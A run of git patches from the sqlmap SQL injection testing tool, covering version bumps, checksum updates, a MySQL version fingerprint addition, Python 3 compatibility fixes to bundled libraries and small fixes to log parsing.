a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 403a878f54e..064435e34a3 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,9 +45,10 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( + (80300, 80302), # MySQL 8.3 (80200, 80202), # MySQL 8.2 (80100, 80102), # MySQL 8.1 - (80000, 80036), # MySQL 8.0 + (80000, 80037), # MySQL 8.0 (60000, 60014), # MySQL 6.0 (50700, 50745), # MySQL 5.7 (50600, 50652), # MySQL 5.6 From 9a87f47777f3bb0d6b43e355eefda5a1b7cf9de1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2024 13:21:01 +0200 Subject: [PATCH 086/853] Trivial updates --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- lib/request/basic.py | 12 ++---------- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- 5 files changed, 9 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b5938da63d4..208e83394c5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -c8591398ce93f9ab31a83592f374110b93f60b232276b30ae825851252400910 lib/core/settings.py +1f2837e65e87f1ef8cfd77045bd3c3439c84ff247b6ffc7390d1511c03583e15 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -207,15 +207,15 @@ b48edf3f30db127b18419f607894d5de46fc949d14c65fdc85ece524207d6dfd lib/parse/html 8743332261f8b0da52c94ca56510f0f2e856431c2bbe2164efdd3de605c2802b lib/parse/payloads.py 23adb7169e99554708062ff87ae795b90c6a284d1b5159eada974bf9f8d7583f lib/parse/sitemap.py 0acfa7da4b0dbc81652b018c3fdbb42512c8d7d5f01bbf9aef18e5ea7d38107a lib/request/basicauthhandler.py -c8446d4a50f06a50d7db18adc04c321e12cd2d0fa8b04bd58306511c89823316 lib/request/basic.py +2395d6d28d6a1e342fccd56bb741080468a777b9b2a5ddd5634df65fe9785cef lib/request/basic.py ead55e936dfc8941e512c8e8a4f644689387f331f4eed97854c558be3e227a91 lib/request/chunkedhandler.py 06128c4e3e0e1fe34618de9d1fd5ee21292953dce4a3416567e200d2dfda79f2 lib/request/comparison.py 45f365239c48f2f6b8adc605b2f33b3522bda6e3248589dae909380434aaa0ad lib/request/connect.py 470e96857a7037a2d74b2c4b1c8c5d8379b76ea8cbdb1d8dd4367a7a852fa93c lib/request/direct.py e802cc9099282764da0280172623600b6b9bb9fe1c87f352ade8be7a3f622585 lib/request/dns.py -226226c2b8c906e0d0612ea68404c7f266e7a6685e0bf233e5456e10625b012d lib/request/httpshandler.py +9922275d3ca79f00f9b9301f4e4d9f1c444dc7ac38de6d50ef253122abae4833 lib/request/httpshandler.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/request/__init__.py -6944e07e5c061afea30494bcea5198c67b86dda1f291b80e75cb1f121490f1a7 lib/request/inject.py +ea8261a5099ca66032ae7606e5392de719827a71750c203e3fc6bb6759757cf3 lib/request/inject.py ba87a7bc91c1ec99a273284b9d0363358339aab0220651ff1ceddf3737ce2436 lib/request/methodrequest.py 4ba939b6b9a130cd185e749c585afa2c4c8a5dbcbf8216ecc4f3199fe001b3e2 lib/request/pkihandler.py c6b222c0d34313cdea82fb39c8ead5d658400bf41e56aabd9640bdcf9bedc3a1 lib/request/rangehandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 80e606f1590..26617061bbe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.11" +VERSION = "1.8.6.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index ebe33a2e1d3..921ed2fd7e1 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -282,15 +282,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if hasattr(contentEncoding, "lower"): - contentEncoding = contentEncoding.lower() - else: - contentEncoding = "" - - if hasattr(contentType, "lower"): - contentType = contentType.lower() - else: - contentType = "" + contentEncoding = contentEncoding.lower() if hasattr(contentEncoding, "lower") else "" + contentType = contentType.lower() if hasattr(contentType, "lower") else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: @@ -382,7 +375,6 @@ def _(match): def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 - page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index d8a619d70c4..c3af58f6025 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -80,7 +80,7 @@ def create_sock(): # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") - except ssl.SSLError: + except (ssl.SSLError, AttributeError): pass result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) if result: diff --git a/lib/request/inject.py b/lib/request/inject.py index e260b9df496..afaad5af661 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -204,7 +204,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char if limitCond: test = True - if not stopLimit or stopLimit <= 1: + if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False From f1ac7dc39b5da198e3934b4b559264110893491a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Jun 2024 10:17:13 +0200 Subject: [PATCH 087/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 10 +++++----- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 208e83394c5..fd97835d698 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -fa20f88c2bf45c1347ea21f9fb3b555120fd270f5480c5ca23dbb3f9118b08a6 lib/core/common.py +dbbb4a4e570aaeef0a420b479d3017423c2824a27cfc71c411d8ab9bee661c90 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -1f2837e65e87f1ef8cfd77045bd3c3439c84ff247b6ffc7390d1511c03583e15 lib/core/settings.py +73c4f58871374ab250ff9d6fb515be6994dad7089f5c4bc4f8bb2ce5acf1b481 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 7d7809df613..c430d7b16e0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4648,7 +4648,7 @@ def isAdminFromPrivileges(privileges): return retVal -def findPageForms(content, url, raise_=False, addToTargets=False): +def findPageForms(content, url, raiseException=False, addToTargets=False): """ Parses given page content for possible forms (Note: still not implemented for Python3) @@ -4666,7 +4666,7 @@ def geturl(self): if not content: errMsg = "can't parse forms as the page content appears to be blank" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4688,7 +4688,7 @@ def geturl(self): forms = ParseResponse(filtered, backwards_compat=False) except: errMsg = "no success" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4715,7 +4715,7 @@ def geturl(self): except (ValueError, TypeError) as ex: errMsg = "there has been a problem while " errMsg += "processing page forms ('%s')" % getSafeExString(ex) - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4767,7 +4767,7 @@ def geturl(self): if not retVal and not conf.crawlDepth: errMsg = "there were no forms found at the given target URL" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 26617061bbe..09f641ec962 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.12" +VERSION = "1.8.6.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d37db2e7e8a21d979a3af3ebd5a82692f6df2d84 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Jun 2024 10:43:35 +0200 Subject: [PATCH 088/853] Fixing some Python drei stuff --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 8 +++++--- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fd97835d698..13e2eb8958d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -73c4f58871374ab250ff9d6fb515be6994dad7089f5c4bc4f8bb2ce5acf1b481 lib/core/settings.py +30a6a9784332cdc5223ebca0473e45af0bd77b2229e9ee1ffd282172751895cb lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -549,7 +549,7 @@ b4b03668061ba1a1dfc2e3a3db8ba500481da23f22b2bb1ebcbddada7479c3b0 tamper/upperca bd0fd06e24c3e05aecaccf5ba4c17d181e6cd35eee82c0efd6df5414fb0cb6f6 tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -e8f0ea4d982ef93c8c59c7165a1f39ccccddcb24b9fec1c2d2aa5bdb2373fdd5 thirdparty/beautifulsoup/beautifulsoup.py +dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py 0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 09f641ec962..873da89eb37 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.13" +VERSION = "1.8.6.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index a1dec76f9a9..7401def4117 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -80,7 +80,7 @@ from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" -__version__ = "3.2.1" +__version__ = "3.2.1b" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" @@ -93,14 +93,16 @@ text_type = str binary_type = bytes basestring = str + unichr = chr else: text_type = unicode binary_type = str try: - from htmlentitydefs import name2codepoint + from html.entities import name2codepoint except ImportError: - name2codepoint = {} + from htmlentitydefs import name2codepoint + try: set except NameError: From 3192da0acd13341ee52b0c2817812541dd127811 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Jun 2024 23:10:58 +0200 Subject: [PATCH 089/853] Minor patch related to the #5740 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 3 +++ lib/core/settings.py | 4 ++-- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 13e2eb8958d..39ad04ffd06 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -dbbb4a4e570aaeef0a420b479d3017423c2824a27cfc71c411d8ab9bee661c90 lib/core/common.py +95ab58dcfde99357c795f8f871e1c7f6701ca4dfb4c286de70531c172a78109a lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -30a6a9784332cdc5223ebca0473e45af0bd77b2229e9ee1ffd282172751895cb lib/core/settings.py +83d1530751a3e072bc426b84f6a4ffe250fd471efe9ff0f6e2df512ff19d3e73 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index c430d7b16e0..24d7e5ae93b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5276,6 +5276,9 @@ def _parseWebScarabLog(content): Parses WebScarab logs (POST method not supported) """ + if WEBSCARAB_SPLITTER not in content: + return + reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: diff --git a/lib/core/settings.py b/lib/core/settings.py index 873da89eb37..d8a90523ddf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.14" +VERSION = "1.8.6.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -442,7 +442,7 @@ WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files -BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}" +BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)" # Regex used for parsing XML Burp saved history items BURP_XML_HISTORY_REGEX = r'(\d+).*? Date: Fri, 28 Jun 2024 23:28:26 +0200 Subject: [PATCH 090/853] Fixes #5738 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 39ad04ffd06..16405550f0a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -95ab58dcfde99357c795f8f871e1c7f6701ca4dfb4c286de70531c172a78109a lib/core/common.py +f43931f5dbabd11de96267b6f9431025ee2e09e65a14b907c360ce029bbed39f lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -83d1530751a3e072bc426b84f6a4ffe250fd471efe9ff0f6e2df512ff19d3e73 lib/core/settings.py +f54817044034f9b2bbaecb0468ba4bc3048d5823552b039f21d5972a0f08331b lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 24d7e5ae93b..d741fad4d7c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5408,9 +5408,9 @@ def _parseBurpLog(content): port = extractRegexResult(r":(?P\d+)\Z", value) if port: - value = value[:-(1 + len(port))] - - host = value + host = value[:-(1 + len(port))] + else: + host = value # Avoid to add a static content length header to # headers and consider the following lines as diff --git a/lib/core/settings.py b/lib/core/settings.py index d8a90523ddf..5e1725daf26 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.15" +VERSION = "1.8.6.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 79aa3153444d0aa57616de943c54f054ed473fe8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 29 Jun 2024 00:29:03 +0200 Subject: [PATCH 091/853] Some Python DREI patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- thirdparty/socks/socks.py | 16 ++++++++-------- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 16405550f0a..8aa74144377 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -f54817044034f9b2bbaecb0468ba4bc3048d5823552b039f21d5972a0f08331b lib/core/settings.py +b11db6c466811af77273660cfade43de6450d9a05ddeab5231d37ae73921cb21 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -622,7 +622,7 @@ d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pyd 1c61d71502a80f642ff34726aa287ac40c1edd8f9239ce2e094f6fded00d00d4 thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -5ac11e932896dfb7d50353dd16f717bd98cb1fb235f28e6fe8880c03655838bb thirdparty/socks/socks.py +543217f63a4f0a7e7b4f9063058d2173099d54d010a6a4432e15a97f76456520 thirdparty/socks/socks.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e1725daf26..d34dc808f87 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.6.16" +VERSION = "1.8.6.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 14fe39cdb96..4005cab4d24 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -185,23 +185,23 @@ def __negotiatesocks5(self, destaddr, destport): # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): + if chosenauth[0:1] != b'\x05': self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): + if chosenauth[1:2] == b'\x00': # No authentication is required pass - elif chosenauth[1:2] == chr(0x02).encode(): + elif chosenauth[1:2] == b'\x02': # Okay, we need to perform a basic username/password # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode()) + self.sendall(b'\x01' + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode()) authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): + if authstat[0:1] != b'\x01': # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): + if authstat[1:2] != b'\x00': # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) @@ -209,7 +209,7 @@ def __negotiatesocks5(self, destaddr, destport): else: # Reaching here is always bad self.close() - if chosenauth[1] == chr(0xFF).encode(): + if chosenauth[1:2] == b'\xff': raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) @@ -219,7 +219,7 @@ def __negotiatesocks5(self, destaddr, destport): # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) - req = req + chr(0x01).encode() + ipaddr + req = req + b'\x01' + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: From 1d17e2a942f262794c61d0f5aeeb69afbf54d929 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 13 Jul 2024 10:51:06 +0200 Subject: [PATCH 092/853] Dummy update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8aa74144377..17b6a75d8ed 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -b11db6c466811af77273660cfade43de6450d9a05ddeab5231d37ae73921cb21 lib/core/settings.py +980d7080a21fbf690f65885e6916be0dcef8e1ba3c1a955a52a00e426eb0e590 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -476,7 +476,7 @@ d5b3243c2b048aa8074d2d828f74fbf8237286c3d00fd868f1b4090c267b78ef README.md 78aafd53980096364f0c995c6283931bff505aed88fed1e7906fb06ee60e9c5b sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf -7800faa964d1fc06bbca856ca35bf21d68f5e044ae0bd5d7dea16d625d585adb sqlmap.py +3a18b78b1aaf7236a35169db20eb21ca7d7fb907cd38dd34650f1da81c010cd6 sqlmap.py adda508966db26c30b11390d6483c1fa25b092942a29730e739e1e50c403a21f tamper/0eunion.py d38fe5ab97b401810612eae049325aa990c55143504b25cc9924810917511dee tamper/apostrophemask.py 